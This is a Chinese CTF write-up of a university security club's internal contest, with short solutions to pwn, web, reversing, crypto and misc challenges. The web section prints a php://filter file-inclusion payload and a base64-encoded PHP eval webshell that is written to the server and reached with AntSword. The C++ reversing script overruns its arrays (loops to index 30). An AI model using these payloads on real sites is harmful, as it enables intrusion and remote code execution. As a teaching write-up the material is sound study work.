信安协会内部赛Writeup

WUST第一次内部赛 Writeup

  • PWN
    • just_run
    • 2048
  • WEB
    • 签到题
    • PHP是世界上最好的语言
  • RE
    • ez_py
    • baby_re
  • CRYPTO
    • base64
    • 兔老大
    • easy_caesar
  • MISC
    • Where_am_I
    • 古老的计算机
    • double_flag

PWN

just_run

nc之后ls,cat flag.txt

2048

利用了bug。。一次输入很多个wasd用了几分钟刷分到了一万分

WEB

签到题

GET传参ais=123,POST传参ais=123,BP抓包把Referer改成https://www.baidu.com,加上Client-IP: 127.0.0.1

PHP是世界上最好的语言

在url最后加上/index.php,F12发现了提示
在这里插入图片描述
考点是文件包含
/index.php?file=php://filter/read=convert.base64-encode/resource=./index.php
在这里插入图片描述base64解码
信安协会内部赛Writeup_第1张图片/index.php?file=php://filter/read=convert.base64-encode/resource=./upload.php
在这里插入图片描述base64解码
信安协会内部赛Writeup_第2张图片
死亡exit
找到了一篇博客
信安协会内部赛Writeup_第3张图片而这道题把?>用//注释掉了,所以前面要补3个a才能凑成4的倍数
先把一句话木马用base64编码
信安协会内部赛Writeup_第4张图片
在/upload.php页面用POST方式构造如下payload,将一句话木马写入q.php
death=aaaPD9waHAKZXZhbCgkX1BPU1RbJ3NoZWxsJ10pOwo/Pg==&filename=php://filter/write=convert.base64-decode/resource=q.php
用蚁剑连接http://148.70.205.134:10001/q.php,密码是shell,在根目录找到flag

RE

ez_py

在线pyc反编译,在得到的原py文件最后加上一行print(encode(message))

baby_re

放进ida
信安协会内部赛Writeup_第5张图片

点开check函数
信安协会内部赛Writeup_第6张图片
可知check函数里的a1是主函数输入的字符串v4,是要通过check函数里的数组v4逆向求得的,而数组v4和数组flag相等,点进flag,因为是int类型,占4个字节,所以通过按键盘的d键把所有的db都转化为dd形式
信安协会内部赛Writeup_第7张图片
写个脚本逆向求a1

#include
using namespace std;
int main()
{
	unsigned int a=16;
	char a1[30];
	int i;
	unsigned long v4[30]={0x350,0x360,0x308,0x358,0x3F8,0x2B0,0x328,0x318,0x188,0x1A8,0x318,0x2B8,0x180,0x398,0x398,0x398,0x398,0x398,0x398,0x398,0x398,0x398,0x318,0x2B8,0x348,0x368,0x380,0x360,0x328,0x3E8};
	for ( i = 0; i <= 30; ++i )
	{
		v4[i]^=a;
		v4[i]-=16;
		a1[i]=(char)(v4[i]/8);
	}
	for ( i = 0; i <= 30; ++i )
     cout<<a1[i];
	return 0;
}

CRYPTO

base64

在线base64转换图片得到压缩包的解压密码

兔老大

在线rabbit解密,密钥是rabbit,再base32解码

easy_caesar

写脚本把每个字符都-3移位,再base64解码

MISC

Where_am_I

用PS打开图片,用颜色取样器工具得到两块图片的RGB值,对应北纬和西经值,进入谷歌地图搜索
40°41′21″N 74°02′40″W得到地点为自由女神像

古老的计算机

用winhex或HXD打开图片,最后有一段这个
信安协会内部赛Writeup_第8张图片
在线敲击码解密,再写脚本转换成二进制01,再在线二进制转字符串

double_flag

用HXD打开压缩包,在开头加上50 4B 03 04,解压出另一张图片,用Beyond Compare对比两张图片

你可能感兴趣的:(WriteUp)